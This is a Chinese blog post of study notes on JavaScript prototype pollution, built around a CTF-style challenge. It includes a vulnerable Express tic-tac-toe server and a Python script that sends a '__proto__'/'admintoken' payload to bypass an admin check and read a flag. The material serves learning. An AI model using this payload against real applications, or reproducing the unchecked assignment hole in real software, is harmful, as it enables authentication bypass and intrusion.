Xi4or0uji's blog

javascript原型链污染

字数统计: 864阅读时长: 4 min
2019/01/18 Share

前几天大佬们培训讲到了一个没怎么听过的东西,记一记做个笔记。

原型对象介绍

肉鸡只是一个小后台,对于前端真的不怎么会,先介绍一哈
在javascript里面只有一种结构,那就是对象,每个对象都会有一个原型对象,每个原型对象引申出其对应的原型对象,经过一层层的调用,就形成了原型链。这句话讲得有点难懂,肉鸡大概理解下,可以理解成每个类都有父类,父类下面又会有子类,一层层调用过去其实就是他说的原型链的过程。
实例的对象可以通过__proto__去访问它的原型对象。

原型对象的重点是null。

原型链污染小演示


可以看到字符b的indexof方法被赋值以后,字符a调用indexof方法的时候,也会是123。

实例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
const express = require('express')
var hbs = require('hbs');
var bodyParser = require('body-parser');
const md5 = require('md5');
var morganBody = require('morgan-body');
const app = express();
var user = []; //empty for now

var matrix = [];
for (var i = 0; i < 3; i++){
matrix[i] = [null , null, null];
}

function draw(mat) {
var count = 0;
for (var i = 0; i < 3; i++){
for (var j = 0; j < 3; j++){
if (matrix[i][j] !== null){
count += 1;
}
}
}
return count === 9;
}

app.use(express.static('public'));
app.use(bodyParser.json());
app.set('view engine', 'html');
morganBody(app);
app.engine('html', require('hbs').__express);

app.get('/', (req, res) => {

for (var i = 0; i < 3; i++){
matrix[i] = [null , null, null];

}
res.render('index');
})


app.get('/admin', (req, res) => {
/*this is under development I guess ??*/
console.log(user.admintoken);
if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken){
res.send('Hey admin your flag is <b>flag{prototype_pollution_is_very_dangerous}</b>');
}
else {
res.status(403).send('Forbidden');
}
}
)


app.post('/api', (req, res) => {
var client = req.body;
var winner = null;

if (client.row > 3 || client.col > 3){
client.row %= 3;
client.col %= 3;
}
matrix[client.row][client.col] = client.data;
for(var i = 0; i < 3; i++){
if (matrix[i][0] === matrix[i][1] && matrix[i][1] === matrix[i][2] ){
if (matrix[i][0] === 'X') {
winner = 1;
}
else if(matrix[i][0] === 'O') {
winner = 2;
}
}
if (matrix[0][i] === matrix[1][i] && matrix[1][i] === matrix[2][i]){
if (matrix[0][i] === 'X') {
winner = 1;
}
else if(matrix[0][i] === 'O') {
winner = 2;
}
}
}

if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'X'){
winner = 1;
}
if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'O'){
winner = 2;
}

if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'X'){
winner = 1;
}
if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'O'){
winner = 2;
}

if (draw(matrix) && winner === null){
res.send(JSON.stringify({winner: 0}))
}
else if (winner !== null) {
res.send(JSON.stringify({winner: winner}))
}
else {
res.send(JSON.stringify({winner: -1}))
}

})
app.listen(3000, () => {
console.log('app listening on port 3000!')
})

可以看到,想要拿到flag要满足

1
user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken

但是admintoken不知道是什么,我们还能看到这一句

1
matrix[client.row][client.col] = client.data;

同时也知道user是个数组,恰好client是用户可控的,因此我们就可以利用matrix去完成污染。
脚本,其实截包发包也行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# -*- coding:utf8 -*-
import requests
import json

headers = {
'Content-Type': 'application/json'
}
data = {
'row': '__proto__',
'col': 'admintoken',
'data': 'xiaorouji'
}
myd = requests.session()
url = "http://example.cn/api"
url2 = "http://example.cn/admin?querytoken=f25758d1dec0c49eb22049d3080e87d0"
myd.post(url, headers=headers, data=json.dumps(data))
print myd.get(url2).content

然后就能有flag了

CATALOG
  1. 1. 原型对象介绍
  2. 2. 原型链污染小演示
  3. 3. 实例